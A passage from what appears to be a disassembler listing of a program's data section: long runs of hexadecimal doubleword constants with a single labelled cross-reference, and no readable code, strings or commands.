0C4FCE062h, 8F63050Ch, 124224EDh, 0CC141EF0h, 26204E21h dd 5D96D202h, 60DE7D71h, 0F2D476A8h, 6858C0AEh, 0ADE2C559h dd 7DCFCB3Eh, 2D6E40h, 71F45744h, 0C3BC2E53h, 5C00AF75h dd 220C64D9h, 1AC28D1Dh, 307DA8D4h, 252044CEh, 9FF20B5Ah dd 981443E0h, 9167D478h, 5A902C80h, 0A80237h, 3334B70Dh dd 631DFEC6h, 0C5CC7002h, 41DA4ECFh, 1860FDD5h, 697B60C1h dd 46244DA0h, 707F6712h, 0D54F054h, 11257168h, 605AF083h dd 0CCD51E43h, 0F70C1840h, 28056BE5h, 2A621D53h, 52C12C8h dd 40FE1CFCh, 0C2A099C8h, 0B304CADBh, 5F4FD49Eh, 0E5C48301h dd 288064AEh, 0CF4DE14h, 20403188h, 0E860D88Eh, 0C8290462h dd 91CB6651h, 17E05D8h, 0A8208E46h, 73E113F3h, 4D79002Bh dd 0A19FB183h, 94259800h, 0CA0BCD02h, 5072FF92h, 35F0A328h dd 860908Eh, 0B05379Ch, 8C037417h, 94BBD477h, 0CD3EECB7h dd 8D8C5A06h, 85415096h, 803B3460h, 0B3784C72h, 1040AC32h dd 2BDC609Fh, 0CFCA18EDh, 584331C0h, 0D766D901h, 78FAD44Bh dd 120024h, 805224CAh, 0AA51DB90h, 3D44163Eh, 73568F1Ah dd 0F8C3804Dh, 13858296h, 1272E481h, 12C2584h, 0BB83429Ch dd 6B7C20DFh, 66C82B00h, 3805CF33h, 0D41C0CCAh, 37D8104Ch dd 66A20B3Dh, 708DA8h, 7CF0B6F4h, 9ACC72E9h, 7F13E000h dd 26962BA9h, 604EC12h, 0EA0B893Fh, 7518386Ah, 6D0B694h dd 304E053Bh, 0D53645D4h, 1E9C9194h, 0A4E0AC4Ah, 89A7CA8Bh dd 30180A7Ch, 240BB583h, 68500930h, 3C1855B9h, 0CA5814E5h dd 0A42B2A20h, 0D4433F2Ch, 0BC404647h, 0B2D528C4h, 7EC60018h dd 0CC43C74Dh, 1E09ADCDh, 89B32EA8h, 0D49CA29Ch, 340542Bh dd 20C90B2Dh, 0F737C97Ch, 0CEA01892h, 17A9B790h, 73E6F4h dd 0ABF17D5Ch, 0D100CF46h, 71CBC05Eh, 98F7C9Dh, 0ED0B58D7h dd 7E85EC41h, 8397D880h, 0BCB8965Ch, 4014597Eh, 944B6882h dd 93164079h, 0EC8B4812h, 690AD40Ah, 8F04ACA0h, 9C1378A0h dd 877F6528h, 0E0F1CF16h, 6C985012h, 29513B80h, 68220F27h dd 847BC2F1h, 0DEE59830h, 36538087h, 49ECC007h, 4D41D8C3h dd 0F3707BAEh, 16E8B8ACh, 3FD83BDh, 8E4FB7DCh, 0B50BC00Ah dd 778AE4EDh, 7E837056h, 989C6C07h, 0C9554486h, 0C4032B99h dd 0D827A8E6h, 9C24008Ch, 0CC0E1Dh, 0DA19FCC6h, 22F8A346h dd 532BC417h, 0EC85450h, 8BC1E2A8h, 60D80EC3h, 91D0C0ABh dd 0C97C50A7h, 241C3A5Bh, 1A103058h, 64354F56h, 74B6D080h dd 0D57CF8h, 6897178Eh, 0EFC31A7Bh, 784C515Fh, 4167A184h dd 5A0C605Eh, 0B00C5540h, 0B099F414h, 9DCB264Ch, 8DE30043h dd 17CC5D8Ch, 224BC4F0h, 0E633AC00h, 4CEC4656h, 0F801CC69h dd 457E610Bh, 2E9C2C8Ah, 0B58C5888h, 7D90B1F4h, 8B7C012Ah dd 23E5E759h, 780C6304h, 780D752Eh, 80787090h, 0F8836F7Ah dd 9F20C423h, 9ABF0C80h, 73341694h, 9CC27086h, 6D0E84Bh dd 3A690547h, 925AC198h, 4841357Ch, 5014272Eh, 0ED7F68CCh dd 884098B4h, 18C6E38Ah, 187152E5h, 0D24FC425h, 0E2F30080h dd 0A709850h, 922763F7h, 0A22807C4h, 0E3E4E114h, 3394208Bh dd 9834CC50h, 0B706207Ah, 19C5C480h, 0E8420B48h, 2C20039Fh dd 0D6662A2h, 80334C3Dh, 0C717FD8Ah, 0A253ECD4h, 0FDE8E6D4h dd 986412F1h, 9142DE4h, 1400641Ah, 0DA28E8CBh, 502438F1h dd 41010BB8h, 0C40E924Fh, 480230BAh, 0DE82A051h, 40CE0CF3h dd 1FD474A0h, 240F6CA6h, 802BE4E4h, 906E8338h, 0D61E4372h dd 3C4ED9E2h, 8A77AE5Ch, 0C2835814h, 0CCC7C424h, 28E69490h dd 0B28BF27Ch, 751F2038h, 0C8261C91h, 4C7B370Ah, 0D1B9F2D3h dd 661E8068h, 0EDDC7E31h, 584EDE03h, 0E1A29F8Ah, 0A470C3E9h dd 0FD8E000Fh, 3E533D1h, 141E2661h, 0CD14B44Ch, 2E220608h dd 8030F32Bh, 0A0EB3360h, 0D27FCE7Ch, 57044980h, 4494CC7Ah dd 580CDE12h, 0B28EC0A3h, 0E29C0E18h, 1180C697h, 0BDC28C0Eh dd 2ADE8D02h, 584CCDA5h, 73D413ECh, 0E08489D2h, 10C0D111h dd 4C8A50E3h, 86695AC4h, 540544A8h, 5EE59CCEh, 3D1498E8h dd 0D40A84E6h, 9224C0CDh, 8D700EF2h, 0A49EA434h, 407EB80h dd 0C0818E93h, 3C9CCC75h, 626D84F0h, 0C4AB2500h, 18C0DA21h dd 28D495A3h, 3128CF5Dh, 0DCAE8841h, 14D032F9h, 5380879h dd 0CE71115Ch, 0C674980Bh, 0FE0B18A4h, 0C67D3027h, 247002BFh dd 0C23442E2h, 1F5C1B50h, 197C6D1h, 0F5C43C78h, 0A148AD02h dd 0B452B134h, 0A4B2F2F3h, 0CC20CADCh, 56E9BEC1h, 0AD62D018h dd 55DAF289h, 54706C0Bh, 67F67616h, 7C61E4C9h, 41D09420h dd 0E0F42138h, 9BF8B344h, 0C4F0ED50h, 0E32525h, 9498F8E8h dd 7989074Ah dword_4E414C dd 0C0554E2Ah, 0F444D776h, 8046AA3Eh, 0CDC9CA36h, 5D0B59D6h ; DATA XREF: ___:off_43A188o dd 8501180Dh, 5D68C4DFh, 6710304Ch, 139F5320h, 0D04571D4h dd 0C4CCFDF0h, 0EE183902h, 0C8F30B91h, 14CA77D0h, 0A879BEA8h dd 0BFC1D483h, 25ACF844h, 0E5087C64h, 0F211BF82h, 41289030h dd 6015E153h, 35485884h, 301F5A64h, 940B9E16h, 0E5D43005h dd 0A00E6BABh, 0D28D8420h, 460F4A2Dh, 0AFD8437h, 3800088Ah dd 0A22CF327h, 0D20D03B9h, 0E7260B40h, 0D5904805h, 90E09A99h dd 24D498CCh, 0C68E0E5h, 0CAF86776h, 2DEFCE7Ah, 24A724E8h dd 0C4E8AB44h, 9B5DD10h, 10685744h, 4EE1D3CCh, 789429E0h dd 343D1D04h, 81295280h, 28D46873h, 0E8E917h, 0B290AA0Eh dd 575D4E44h, 76CD8300h, 0E845C069h, 0FD84F3Dh, 0D001B504h dd 403367AFh, 202F3092h, 0E9BDBC03h, 0F648D4F6h, 0D1E66270h dd 868EE03h, 0CC001312h, 91A42EC9h, 48A0D359h, 7A0270F2h dd 5843B9F4h, 0A10F1C71h, 0BD06807Bh, 22859E0h, 68D6E9DCh dd 2860A7BFh, 93EC6CD8h, 0CF332707h, 2CD07150h, 1A9CACCh dd 0B346CB87h, 248BD492h, 2B094058h, 3867F2CEh, 161E9CB4h dd 803AD413h, 0BD2229ACh, 0DD999E03h, 431D985h, 0F748E598h dd 9A44800Dh, 733D786Ch, 2D4E80F3h, 3C95AD26h, 9D4DF0BFh dd 184A2C09h, 0FD2C9040h, 30A6F124h, 0FCDAC48Ah, 54DB5C80h dd 0E04673h, 922B338Eh, 0DEF3C426h, 0CD04E892h, 77124CDBh dd 0E91854C3h, 0E831019Fh, 7C3DF330h, 0F69FA39h, 0A3755577h dd 0E508FC75h, 0BA0B4A45h, 0C7B44087h, 0EDDB80E3h, 0B1910107h dd 4C39DF45h, 0B05B4BECh, 9B7E740Ch, 0D213893Ch, 4A9C4868h dd 0DC90B4BCh, 380B9909h, 0AC34887Fh, 20988EC9h, 0DB6DF30h dd 0B320BC7h, 8CA031E4h, 6BF958Fh, 2F335A3Eh, 856400C9h dd 4CABC4D3h, 7C092C9Bh, 0C4DA0480h, 750AECE8h, 0A07EC440h dd 4264D780h, 4A8B88B3h, 4D28C065h, 21597E43h, 6D241EBCh dd 91C7404h, 4088F087h, 695E153Fh, 0B314E0Dh, 302CC14Ah dd 0AD139C59h, 791C46E0h, 260790A0h, 7DB0FFCAh, 29C2BED7h dd 18E4A988h, 806E2010h, 9B02123Eh, 0B647E77h, 925C7852h dd 794304B0h, 807CC0D4h, 0C681338h, 0F300B273h, 298873E8h dd 7085F033h, 696494E9h, 23216400h, 0A65CE7BFh, 8A0D17FCh dd 473794D0h, 222AE390h, 4C88FFD8h, 0D9881BB7h, 7CD2FDE2h dd 56546812h, 8320489h, 449AE50Ch, 0C4122118h, 48408101h dd 52662FEFh, 9AD41925h, 683F6857h, 5E1600B0h, 215C7750h dd 650939B3h, 83253CDCh, 0F1435090h, 912CAA0Eh, 1B04C522h dd 6D0CD441h, 0AC6018E3h, 877B0233h, 0A7A5C181h, 0D4D3C0C8h dd 16081520h, 4B46FB43h, 78207464h, 4134B2DDh, 87262808h dd 0B3602E1h, 20419392h, 0AC666072h, 6B80E518h, 260790h dd 25606DCBh, 9DCCFEE9h, 0BA069600h, 62E63382h, 556302BCh dd 3C35B793h, 8F0AC85Bh, 0C44BA885h, 544F0058h, 2A29366Ch dd 629716D4h, 0B040DABCh, 5FB4A658h, 1D941F56h, 53F8013Fh dd 3E280B2Dh, 0C67F1404h, 2ECDE491h, 8F253863h, 0B0211085h dd 0D63C8DF0h, 387A8739h, 8E85C15Ch, 44360801h, 0C6835E8h dd 0BA808C3Fh, 9FE4B38Dh, 594F9593h, 88E6401Dh, 978443E4h dd 9B92B042h, 0D370E95Ch, 10E9F4h, 6D77BD13h, 4AF0F356h dd 67616807h, 0F8F059FFh, 186ABA0h, 14A999CAh, 812A0DE5h dd 47C66C58h, 25D7A0E8h, 0CCC62410h, 62E09F48h, 2E59D20h dd 9CE6C5CCh, 5EF38F20h, 82447579h, 7048C000h, 6060AD0Bh dd 353D7E18h, 21CE4E33h, 24B0A7C4h, 0C32F9A58h, 7170046Dh dd 8901E4B8h, 0DBD0C0C1h, 9E182967h, 0BE0212Dh, 7A032C9Ah dd 1315F6B6h, 17F08C37h, 641242C4h, 0F2E38CD0h, 1DCF24E5h dd 15AB42A4h, 8381E620h, 0BC3118DFh, 427A10C5h, 0CC613600h dd 6F6B82A5h, 4DB0B068h, 0F300EF05h, 0BC4C46B8h, 11FC0BD0h dd 8A04492h, 0DC099A48h, 242C93C4h, 4C80D4A8h, 1047D19h dd 4CBEA49Eh, 0AC8D8EC4h, 0B426D020h, 0E846AC61h, 44F0CAh dd 0F9E92838h, 8DB9C88Ch, 0AC6D804h, 73C042BCh, 16129871h dd 6B4F80h, 9373887Ch, 3E0021B1h, 4C31CB1Ch, 7FBFABh, 7687840Ch dd 0EF2B2A26h, 0E89ACC29h, 98E73D0Ah, 5C831612h, 8EB012A3h dd 6A8491A8h, 10442ABAh, 0DB0012E3h, 0B6C32C15h, 50F3F402h dd 629409C4h, 0AEA854CCh, 0AC0B8278h, 18785C9Ah, 0D1D8EC09h dd 9AB85273h, 44B000h, 20FB4B83h, 0C42B9EB3h, 493C6D59h dd 59AC4920h, 93D89BCh, 0C22C620Ch, 13B8E658h, 3687751h dd 8292C4E8h, 79473000h, 8ADEF00Bh, 0CAD70183h, 89C4A39Fh dd 9A208012h, 3339ACFDh, 22FC3CEDh, 10BC9F18h, 3E7811E5h dd 0C4BB2505h, 0EC478647h, 0C4D923EDh, 0A29D7A34h, 0E844C4h dd 55433F7Fh, 0B54C42Ah, 18592931h, 0DE4285Eh, 0C249C105h dd 70E5DD4h, 3E3C2CC3h, 9612E351h, 1108A7F0h, 0A44865FEh dd 0CE281058h, 64744BD0h, 76ECBCA8h, 34AA882Ch, 93020C11h dd 9E0B678Ah, 8F42E47Ah, 0CFEDE09h, 0E51A7458h, 6060CCABh dd 24D2A0h, 0D07125F2h, 10B5AD6h, 0CB3CAC9Eh, 0AAE55803h dd 1E484A8Ch, 0CB910D94h, 7ADC5040h, 6D5A1D51h, 2CD89C00h dd 3C4FC308h, 12096F4Dh, 5CEC958Bh, 0E0589404h, 18922B0Ch dd 9FC6C21h, 0AEED47Fh, 66BDE451h, 5C418D89h, 0A130E8ABh dd 0DAE2D441h, 0D13430C9h, 285189C0h, 0D413E8C6h, 0DCB28C07h dd 0A842F848h, 0DCA8C14Bh, 253473FEh, 2194E055h, 0A8DA9D84h dd 0CC0D3100h, 0B97E2C5Ch, 4D649294h, 5D26834h, 0D8B085B8h dd 0ED4AE510h, 37235C02h, 67BCE142h, 89C5F208h, 0D0C1884Ah dd 306841FFh, 0B10DC92h, 35F11841h, 4E43EC60h, 0E374C4A5h dd 6A438774h, 9EDC2369h, 7D900664h, 209CBAD4h, 92A3321Eh dd 0A08BB60Bh, 0B1F40B6Ch, 0E5F00AABh, 1784D6C6h, 0C490F498h dd 0A1D96271h, 0F0C42B80h, 2038A350h, 431D6CC0h, 528ECB58h dd 0A255032Eh, 0AC5D8003h, 0BBE00083h, 0C682FCFAh, 0D80036B5h dd 3F44E8A8h, 0E8471BD6h, 60213BBEh, 18AE071Bh, 0A5ABFBC0h dd 0AA353Ch, 0BD4692D8h, 0EA433DC2h, 0EAA67123h, 41E701E8h dd 0AABEBCC0h, 182A60CBh, 4B244C00h, 0BAD983DBh, 0D4FA38FCh dd 0C06B2B83h, 93A86460h, 0B500ECD1h, 3E443DE5h, 3FB9A34h dd 0EBE8FDC3h, 180131CCh, 3A1856AAh, 41F0E973h, 689A6030h dd 28C7F8FEh, 0AFD8540Dh, 2088985Bh, 0C31F0942h, 434BF800h dd 60D1551Bh, 9399D01Dh, 0E5000465h, 0FA101454h, 0C0CF8FABh dd 0B6CBC2E0h, 7CFE59DFh, 412284A0h, 43D6F200h, 0BF861157h dd 4C9E0174h, 381972BDh, 0FCC3FC79h, 0ECEA9D1Fh, 0B6DA55C0h dd 2943C2h, 2B91448Fh, 0DD076E2Ch, 0FCCA723Fh, 8251A107h dd 55C1505Dh, 9887E4D8h, 530B8517h, 443C83F0h, 91037C29h dd 73D810EDh, 0AE0005Dh, 7EF3BECBh, 75F84846h, 0C7D4F251h dd 92B81000h, 1D57158Eh, 39EE01E1h, 5EF9FBE3h, 40BBCC0Ch dd 0DC41630Ah, 26009001h, 2C8EB2B6h, 808C5164h, 618419Eh dd 9858C155h, 3BB0291Dh, 8EBA2130h, 62673FCh, 78D8800Eh dd 0EA068007h, 2D2AABF4h, 0C6571828h, 4827198Dh, 1E801B5Fh dd 0E8B6373Bh, 307A48C0h, 73F4C282h, 9A131C48h, 0A1984119h dd 3C40FF10h, 3AD54C0h, 41EB0620h, 180072F6h, 4BCDBBFDh dd 0F86BCA67h, 0FA9640A6h, 5091203h, 0E769402Ch, 1F017584h dd 8E3425D8h dd 815F1078h, 68A637D5h, 74903CFFh, 0BA41E505h, 0C1F807D0h dd 0CBFD60FBh, 0E22455DCh, 5887204Dh, 68508F1Bh, 0C03E84D8h dd 0CD11ED50h, 0D4017C74h, 5751A2ABh, 0DACCC0BDh, 0E9DE2836h dd 0D0E22090h, 0F9A883Eh, 0EA553FAEh, 0C2BDB419h, 6912653Eh dd 78C840C6h, 7224041Bh, 4195E006h, 28AFDAh, 98A78116h dd 804B2187h, 0BB00B490h, 0B1F1B629h, 18CA5879h, 31E14164h dd 9CE4C543h, 1CD0C348h, 88C06250h, 0A0D977F2h, 0C27A000Fh dd 691A8E8Ah, 0AB1A5035h, 0C09025AAh, 391C3C7Eh, 0B686F06Fh dd 0F82186D8h, 0CC483D09h, 43DB0024h, 5FE4CAh, 0D8086D95h dd 0A1ECD47Ah, 0C381D9F1h, 3604307Ch, 0E4E85326h, 0F732F480h dd 0F83B0015h, 0A8A0B229h, 0D8186CF1h, 7E30DCE9h, 79467845h dd 0D810D161h, 41EA6903h, 0D82933E5h, 6C029C47h, 525B55h dd 0B4B3FFFDh, 0FA80B93Fh, 2830AE49h, 3724E05Fh, 29E04486h dd 8B6FAFh, 36A5B97h, 0C28852E5h, 1B4E4110h, 0AA981824h dd 0EFEE00Ch, 2D3CCDBDh, 0ABAF5400h, 88CB2ACFh, 1F2E7059h dd 263B55A3h, 0F6FC0708h, 1270E032h, 8E7AEAC9h, 0E09CD83Dh dd 566D0580h, 29FC1874h, 5E662EA3h, 0E965CA01h, 0BD23D0C3h dd 7D3D03D8h, 2AD30359h, 84C6AB6Dh, 358A700Eh, 82E76025h dd 0DE0105EDh, 0C615DE02h, 107049EAh, 202D8820h, 67075B19h dd 7321F682h, 0E9E90253h, 1ABE340Ch, 4C8FEB3Dh, 18664126h dd 8C0D31ABh, 64842505h, 5F952F01h, 82281D06h, 5C7F40C5h dd 0C564E37h, 1C7E1057h, 405EAC3Dh, 59861320h, 40223D40h dd 51185A4Ah, 21F03B9h, 28597FC3h, 815310F2h, 8FA4881Dh dd 0AE10309Fh, 707712Eh, 0D92A1719h, 707B60D3h, 25751E1Ah dd 0B2901B05h, 98F89DE9h, 0BCB25E9Ah, 550EC8E9h, 5D593E0Bh dd 0C4325610h, 317D6770h, 7929A868h, 0E9C10A43h, 0E8F632Eh dd 4C87C058h, 3B66CF89h, 2551E57Dh, 0A7CB9A2h, 20C3825Bh dd 0C9EA5103h, 5D0C0511h, 82250DD3h, 368D722Dh, 34170436h dd 3406221Eh, 46328785h, 3EEC7D8Ah, 82EED21Ch, 281BA583h dd 290C050Ah, 1168477h, 8E8C34C9h, 0E7C2F0E0h, 529D4F1Fh dd 2D45EA01h, 0BDD44810h, 0D2E9CC07h, 293DE27Eh, 2850B033h dd 757258B2h, 178A242Ah, 6057C519h, 4484EAF3h, 0A4ECB5C0h dd 3C5B3C24h, 0E403DCF8h, 7E4B0309h, 8044103Ch, 36C6F9F4h dd 0AE00222h, 60FA8A5Ch, 7C6C14C0h, 7B38E801h, 21FB0241h dd 1C08060Bh, 0B145753Dh, 0F0483414h, 1D328541h, 6940561h dd 8A20C88Ch, 0A33E20A1h, 35B8B556h, 0A0152A35h, 57FB4605h dd 12EE2167h, 5E362256h, 0B1403628h, 0CC401D2h, 0C1B71059h dd 6BDE8864h, 0E68A5683h, 5BEA054h, 0C1EE7977h, 9AFE5D5Ch dd 5EECFCF2h, 3CC4EA28h, 357BC242h, 50E8F977h, 59A26636h dd 0BA526190h, 9D300700h, 0A9695348h, 0BCC8913Fh, 8400CE3Dh dd 0C8826003h, 962415ABh, 0BE19090Ch, 0A6408A45h, 985758BCh dd 0D4F82866h, 8AF0AE7h, 0F510BDh, 0D518A0F7h, 0EA18DB2Ah dd 0F83A2213h, 0F9BEC1D2h, 0F4039A74h, 55D84244h, 3DD6BFAAh dd 247D1E36h, 0BFADA9E9h, 5B76E826h, 66B69E0h, 0EA66E605h dd 8309E81Eh, 5144115Dh, 20DC6D1Ch, 97F0600h, 182E3670h dd 0DCC1519Bh, 0A3C9351Fh, 812084D1h, 75DA3CCh, 25FF62Ah dd 3864E2ECh, 0D5F4C3A0h, 687B6639h, 169E6F34h, 0A80B564h dd 90895292h, 84F8008Ah, 48111029h, 74CE8C2h, 80683878h dd 0E1D217BAh, 0F46AA12Eh, 2CEA78h, 0E61B159h, 20F66582h dd 5C16EA10h, 0EDEB3115h, 92235A23h, 0B20528A4h, 4181296Bh dd 0DD359F54h, 506C18AAh, 0DD329434h, 605AA406h, 6304A6F4h dd 43C8391Ch, 5B4EFADFh, 4A730F14h, 901BBFF8h, 13E2011Ah dd 0EA63381Eh, 3B46EAD2h, 55545B1Eh, 16607FCCh, 5FCC3C81h dd 81131A2Ch, 0D1538969h, 25FBE93Ah, 0F0E84062h, 0B40BE52h dd 0F4601622h, 69070247h, 404C65E8h, 85539304h, 25C7C26Bh dd 0D687EC34h, 1B7B0E30h, 2CF0ED34h, 52100178h, 18C6BF57h dd 0C79A40E8h, 69F0759Bh, 0C80CEFECh, 18158C37h, 8E6A10F8h dd 4F94076Fh, 0F7C05541h, 0C9809DFh, 8CF432E0h, 152AEAE0h dd 1D59AA53h, 0F902C087h, 0F162E60h, 2A536E6Ch, 684560Ch dd 409D0509h, 0F829008Ah, 67A4EADEh, 0B551FEF7h, 0DF408E1h dd 0E6825C07h, 3882DB0h, 9808ECC2h, 0D98B000Ch, 9A2ED756h dd 4358B30Eh, 70628E9h, 17201690h, 90672482h, 0E6470CB4h dd 3D4C3464h, 1244D64Eh, 131E0B10h, 842E63E2h, 19880C24h dd 91695D02h, 0AED6465Fh, 1250D237h, 0C1BA4051h, 0D2F709E2h dd 0A273817Bh, 0AC76C224h, 53006210h, 0D45203BBh, 0D6513279h dd 60A11DBFh, 2F39BD57h, 0ADF46054h, 0EC68723h, 845EEF8Ah dd 0E4EA067Ch, 56902E12h, 549FF804h, 5CC040AAh, 649764BDh dd 549D744Fh, 42B102B8h, 0E98A0C9Fh, 7394E330h, 543E8C8Ch dd 0C482E40Ah, 0EA0C6C82h, 994A9C30h, 3D8004E3h, 0A7933D21h dd 22AA526Ah, 8A0384B5h, 0A5AB0C8h, 6E5AD0FAh, 3A30C7D0h dd 584FBA0Ah, 0A1DC707h, 4DD35AD0h, 541A3BA3h, 75A02B18h dd 451E7EECh, 27DC1D72h, 80BEC4E0h, 0B1510098h, 0C5C489CFh dd 1F6C916h, 67D129C3h, 0D91B305Bh, 0B23052EAh, 0EACE06E2h dd 1452BA55h, 0C906F0C2h, 12F73439h, 0FDBF86Bh, 5526F3C5h dd 0E305111Bh, 7BBB1EBEh, 37E62180h, 2790107h, 0D8325ACBh dd 514AA85Bh, 69AFF80Bh, 0A1D820F4h, 0C10B7976h, 7159F752h dd 0FADE6537h, 41C088Dh, 84982C14h, 0FBE9DAFFh, 0EAFF245Dh dd 2C0C8226h, 6711F38Eh, 56B273C3h, 49E8AA21h, 6B118813h dd 36247ECEh, 16695709h, 0D1BA5397h, 505B1110h, 426AEDAh dd 0E7123179h, 90C1A60Eh, 6BD83603h, 66D14CC8h, 3579936Ah dd 63B3B027h, 0BB160548h, 0FC51C7h, 5C36C38Fh, 0AAA05D0Ch dd 6A0606A2h, 8788EA4Dh, 2E41002Ch, 8E428CE4h, 590CC202h dd 9966EC69h, 2E6C4006h, 124B2494h, 59D9EB3Dh, 9741427Ch dd 85C7FD92h, 457E880Ch, 0C5FB5058h, 7D0403C0h, 590C197Ch dd 540208F0h, 60419EBCh, 0C4DCE976h, 1B0350C3h, 0CA7B18B0h dd 59932836h, 0A6BB409h, 0CB5F80DBh, 9D830EEh, 14F6EA49h dd 69141446h, 0D2BF1DCDh, 563F0Bh, 59078D29h, 0F0821B47h dd 0FEF80D89h, 0EA710260h, 2545B028h, 47B40D40h, 0EA580612h dd 0AC1677CEh, 20884AE8h, 0E3BCEA04h, 0EBAC8C4h, 0C24A80FFh dd 820107E2h, 88068FF2h, 0C7C74A2Ah, 0B88401CBh, 0D52402B4h dd 0C6A99A51h, 0CED9F6Ah, 49B0C686h, 0E37F2660h, 0C66F7BF6h dd 8CE5F348h, 0D18A700Ah, 0D700F75Bh, 604B67Fh, 4008003Ch dd 58C72665h, 48BA255Fh, 4C41C120h, 8A076E48h, 403A84B2h dd 0D22A60FBh, 0C9025B15h, 6BEA1D87h, 5AF0EF70h, 0E5F83981h dd 0F276A2DCh, 13F9E229h, 0E70055Ch, 69822D0Ch, 4B0F15h dd 8403828Ah, 0D8C82CC6h, 36EBBFCEh, 29402032h, 4462E069h dd 9A8A53Bh, 6C036490h, 29529A94h, 0B7526806h, 7457812Eh dd 26905F2Eh, 2B070B0Bh, 5CCB0029h, 16282D77h, 34497AEAh dd 57169342h, 6D42E1h, 0A0315967h, 9606079Ah, 10024AE7h dd 0D467B103h, 0EA9D8683h, 0EA03E2B5h, 0FF7AB854h, 0FE67D3C8h dd 53FEC137h, 9F77B652h, 0D0D6D906h, 7BFDD50h, 0F9105106h dd 0FC4A866Fh, 0F75C1E18h, 7C2609DBh, 0EEA3EB93h, 108E1C58h dd 0F7067BA9h, 72EF81D7h dd 0D456E820h, 5D4A3C48h, 474BBFC9h, 0F2565ED5h, 8E720D5Fh dd 0FC17973Ch, 28605A27h, 7A26D5DAh, 37068001h, 0FBF4BA35h dd 2CCC4DCAh, 364BDE49h, 5D120D20h, 8EC730EAh, 0D1EB6B69h dd 3201960Fh, 4178E2C9h, 0DD51C742h, 1F30A023h, 9CBE562Dh dd 15E36005h, 0C51CEEC2h, 191C54C2h, 79074013h, 712D2E50h dd 0F0103086h, 33602509h, 0B336E4BAh, 252A7C5Dh, 84822259h dd 2F092EFAh, 2FB06EFh, 0E1D42877h, 66525DAEh, 3A40DEE6h dd 36EBA34h, 1067F2F7h, 0EF9CDB7h, 0D6E99D1Eh, 848187D3h dd 470C42Ah, 0C6818090h, 0FE297F1Dh, 165EE5Dh, 35C5EA02h dd 0F0C271A0h, 92F4641Ah, 34338332h, 0F5D0628h, 6013DB2Eh dd 4F2815BBh, 3B201034h, 0FA058248h, 44235032h, 24BE56BAh dd 91BCE487h, 89E60EC5h, 0FA6759E8h, 6D9BE35Ch, 57C64504h dd 5580D847h, 0D1065EE9h, 5484A242h, 0F0B1651h, 34D8849Fh dd 0CA53A387h, 0D1E2AB48h, 1A9EA7F2h, 8BFFE41h, 0C3B8F9AAh dd 0FEFB462h, 8E478094h, 3E3B511Ah, 8CEA0B2Ah, 2E832E6Fh dd 571E90Ah, 701D1DD8h, 8EE0B8C9h, 0EB00F2A5h, 1B304964h dd 24527E5Ch, 479E9DA2h, 0B36EF95Ah, 8660EC98h, 7EBCEB17h dd 696B0B46h, 711A2E6Fh, 47A45AC0h, 0F8784A09h, 5F487D2h dd 67D5EA77h, 6D4B2799h, 99EF841Dh, 0B5329C34h, 0E6110D06h dd 110600B1h, 0F850A533h, 19367ED9h, 92D8B610h, 740BFC3Bh dd 29EDEA10h, 0C55D2242h, 742E0D20h, 0EF9DDDE0h, 24168D2h dd 0F7695853h, 608E077Fh, 91E91F50h, 0F32A85A1h, 64D7E05Fh dd 0A8910DDh, 19480BDFh, 9E25044h, 43378441h, 0B3E20999h dd 81026670h, 0FF5A1BEBh, 6AA5E1CBh, 0D15BD5FCh, 8840A33Ah dd 412507ECh, 85CF0203h, 0D00812EFh, 4D71EA46h, 12827D9Ch dd 8031EE67h, 0D955D3F1h, 0CE8EC5Bh, 163517C6h, 0E1FDE18h dd 0D0011268h, 27A47AB1h, 16DAF8F0h, 12798D4Bh, 65F210FBh dd 446D2A16h, 120470AFh, 6D90E00h, 60CA55A0h, 40F3E07Eh dd 37B61C9Bh, 4D4C050h, 23A3F50h, 9E35A2F9h, 122EF1CAh dd 85EAD933h, 0F08AF8D1h, 40664030h, 893C6591h, 0DF991903h dd 94F85920h, 0AE1CC595h, 14118132h, 21F13568h, 913249ADh dd 0A9500374h, 0C92102E2h, 137C695Ah, 0F3207271h, 0D7119960h dd 0A1F1325Bh, 55651EF6h, 581C49E2h, 0DB183A7h, 0BEDE513Fh dd 219AEC4Bh, 5E28A0A4h, 1202955Ch, 0F832CD70h, 9EF180DFh dd 0A039DB73h, 30048FEFh, 0B50C2FFBh, 0B84C7BFCh, 7345043Eh dd 0E7C24DA2h, 0EDFD4003h, 61C32C0Ah, 0D7042D88h, 0C9C5C45Fh dd 0BCCA8A44h, 72194C02h, 28C0BF0Bh, 0C265125Fh, 0E54804E7h dd 89B30EA3h, 0D9408229h, 85AC5339h, 0A23CC869h, 0D6BB0005h dd 563DD819h, 0BDEA2753h, 55576801h, 5CAEB5Fh, 5BEDCBAAh dd 8EEA0C09h, 5490232Ch, 0E4929F5Ah, 97C4419h, 63754BB6h dd 58FC228Fh, 51EAF859h, 1CC26416h, 0A3F26B80h, 16BE3E42h dd 0CA3B3A93h, 0BFC260C9h, 0E5681954h, 0C007D470h, 3775F027h dd 23C4ABBh, 8A072C8h, 78F95359h, 0C5D8898Bh, 89881396h dd 9CA61EAh, 0B5D9CBBCh, 0CD0E6019h, 0E789531Ch, 3C08F697h dd 165F140Fh, 7CF8F54h, 0C2108E57h, 0C58B7F0h, 0C8B86044h dd 0DE1F7474h, 0ECD34401h, 40331980h, 57920h, 0F38204E3h dd 1F42442Ch, 80B90CCEh, 0CEA6EBDh, 6182AA7Fh, 6845BE80h dd 15E2A921h, 3B0391ADh, 57CA1AB6h, 0EA2625D2h, 6984772Fh dd 0E98D3B07h, 0E9A7E28h, 570EC1h, 743E432Eh, 20099038h dd 5B3BA142h, 13C09651h, 41E0232Ch, 4C9D2978h, 0DDAC12A1h dd 9E8AC40h, 762A0C65h, 0E388FAD2h, 0DC5DBE4Ch, 8DE6D2DBh dd 74A27171h, 3D406374h, 63587267h, 45241682h, 5525E2C6h dd 6962904Ch, 28525FA9h, 5DFF8C22h, 239461FFh, 0D8C22E60h dd 259CF563h, 94F0C7E9h, 0E65A1E28h, 7EA97B88h, 0BCEF2280h dd 7869617Ah, 73DA5874h, 2E3F98E2h, 48531352h, 1365AB60h dd 0F84B1F0Ch, 2E166E0h, 0BA99A8C1h, 1392E1F0h, 34EA3007h dd 0EE85CE2Ah, 325A0805h, 23A57781h, 0F1C24201h, 0F2ADF904h dd 0D748BF89h, 689A46A3h, 916F7B02h, 4088562Eh, 0D7D7F811h dd 0B338C00Bh, 0E5922126h, 4B848F20h, 59CF225Dh, 0EC930854h dd 8E589249h, 4D4EA288h, 5B7A6076h, 7722F607h, 1EF75C47h dd 8A54F603h, 0C0015FF8h, 707431DEh, 74A0FE02h, 20E6B008h dd 0BDB695ABh, 344A69C1h, 513C0633h, 0A2366B80h, 1C065910h dd 